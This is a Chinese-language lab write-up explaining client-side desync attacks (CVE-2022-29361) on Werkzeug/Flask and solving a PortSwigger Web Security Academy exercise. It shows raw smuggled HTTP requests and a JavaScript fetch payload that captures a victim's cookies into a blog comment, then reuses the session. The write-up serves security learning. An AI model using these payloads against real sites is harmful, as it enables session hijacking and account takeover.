Client-side desync attacks(CVE-2022-29361)
找不到中文复现文章,但是能找到bp的介绍和靶场:Client-side desync attacks | Web Security Academy
具体原理参考:Abusing Client-Side Desync on Werkzeug | mizu.re
利用条件
1
2
|
Werkzeug==2.1.0
Flask==2.1.0
|
可以看到是flask 2.1.0版本存在的漏洞
CSD攻击原理
这个漏洞实际上是http请求走私的变体,完整的攻击介绍在bp官方也有介绍:Browser-Powered Desync Attacks: A New Frontier in HTTP Request Smuggling | PortSwigger Research
下面我们来讲讲原理:

首先第一个请求时post,而且他的connection是keep-alive
,这个很重要,它的请求体里面有另一个get请求头
如果这个web服务器没有防护,他就会把请求体留在连接队列中,当浏览器发送另一个请求时,他会先读取队列中的请求体,再读取后面的get请求头,因此原本的login路由就变成404路由的请求
这种情况通常发生在不需要发送数据的路由,比如静态界面和重定向界面,这么一看这像是个小bug,看似没有危害,但是如果在CORS或cookie配置错误而保留用户会话的情况下,可能可以进行CSRF攻击盗取cookie,因为第二次请求会携带cookie
执行这种攻击,最简单的办法是使用fetch JavaScript函数
1
2
3
4
5
6
7
8
|
fetch('http://localhost:5000/register', {
method: 'POST',
body: 'GET /404 HTTP/1.1\r\nFoo: x',
mode: 'cors',
credentials: 'include'
}).catch(() => {
location = 'http://localhost:5000/login'
})
|
其实如果服务器防御不好,可以触发308重定向使所有界面触发XSS,可以参考前面的文章
bp靶场练习
Client-side desync
参考wp:请求走私利用扩展(终结篇)-先知社区
进入靶场先发现/
路径会默认重定向到/en
路由
抓包看看

这里我们先测试Content-Length长度是否会检查,先进设置关闭repeater的自动更新Content-Length长度选项,方法改成post,Content-Length长度随意,但是不传请求体试试

可以发现确实忽略Content-Length长度,接着把设置改回来,构造下面的请求包
1
2
3
4
5
6
7
|
POST / HTTP/1.1
Host: 0ac60061048f7bc2807e037d00d500af.h1-web-security-academy.net
Connection: keep-alive
Content-Length:
GET /hopefully404 HTTP/1.1
Foo: x
|
然后send需要更改send的模式,我也是第一次知道bp有这种功能,先再发一个正常的get请求到repeater模块,然后把这两个请求变成一个包

接着send就会出现多种模式了,我们选择Send group in sequence (single connection)
然后发送请求,检查后面那个正常的get请求,发现出现404,就说明CSD攻击可以成功

回到主站,看到博客界面的评论功能,我们抓包测试通过CSD攻击能不能修改评论的输出
第一个请求包
1
2
3
4
5
6
7
8
9
10
11
12
13
|
POST / HTTP/1.1
Host: 0ab9006d042553a780a45d54003c00d0.h1-web-security-academy.net
Connection: keep-alive
Content-Length: 607
POST /en/post/comment HTTP/1.1
Host: 0ab9006d042553a780a45d54003c00d0.h1-web-security-academy.net
Cookie: session=aVKWs2UolWpBZuBBK1cI0HycapAha0EM; _lab_analytics=3Syld3KVwHBg7ndkjWSk3rKoJ3y9eM6U850srSZOPxvLmPRNTyQUxvH7dBs4LsrMsfweYR1VXWo8T0HcbR6PyLs1qdRV33LmkfEq1vJSGn6LsuR1NRv040hKVjfFJt5JOA72cueu2jyKlbX81LFIIKcZl72zoRvCSirCwb53myJM60SogEMMWkk7OXr0DWcLdfSaaRRtwuLbmAGwXzlDvVbcWl1obMDlRH72NtbnDfi1ZbQO9t7TqjUaos3PwRq1
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
Connection: keep-alive
csrf=S9AGdWd1H3CxICFVy4D060JTuYpdzfYM&postId=2&comment=1&name=1&email=1%40qq.com&website=
|
然后第二个请求包
1
2
|
GET /capture-me HTTP/1.1
Host: 0ab9006d042553a780a45d54003c00d0.h1-web-security-academy.net
|
发现两个包都返回302,而且capture-me这个路由返回的location确实是评论的路由
回到浏览器查看,确实输出了GET /capture-me
接下来我们在漏洞服务器的浏览器控制台用js来触发这个CSD攻击,泄露数据
1
2
3
4
5
6
7
8
9
10
11
|
fetch('https://0ab9006d042553a780a45d54003c00d0.h1-web-security-academy.net', {
method: 'POST',
body: 'POST /en/post/comment HTTP/1.1\r\nHost: 0ab9006d042553a780a45d54003c00d0.h1-web-security-academy.net\r\nCookie: session=aVKWs2UolWpBZuBBK1cI0HycapAha0EM; _lab_analytics=3Syld3KVwHBg7ndkjWSk3rKoJ3y9eM6U850srSZOPxvLmPRNTyQUxvH7dBs4LsrMsfweYR1VXWo8T0HcbR6PyLs1qdRV33LmkfEq1vJSGn6LsuR1NRv040hKVjfFJt5JOA72cueu2jyKlbX81LFIIKcZl72zoRvCSirCwb53myJM60SogEMMWkk7OXr0DWcLdfSaaRRtwuLbmAGwXzlDvVbcWl1obMDlRH72NtbnDfi1ZbQO9t7TqjUaos3PwRq1\r\nContent-Length: 300\r\nContent-Type: x-www-form-urlencoded\r\nConnection: keep-alive\r\n\r\ncsrf=S9AGdWd1H3CxICFVy4D060JTuYpdzfYM&postId=2&name=1&email=1@qq.com&website=&comment=',
mode: 'cors',
credentials: 'include',
}).catch(() => {
fetch('https://0ab9006d042553a780a45d54003c00d0.h1-web-security-academy.net/capture-me', {
mode: 'no-cors',
credentials: 'include'
})
})
|
改变Content-Length可以泄露更多信息
回到漏洞服务器用<script>
标签包裹并发送给受害者,然后回到前下的评论查看,发现确实带出了cookie,注意这里要把Content-Length改的尽量长
把session值拿过来给/my-account路由发包就行了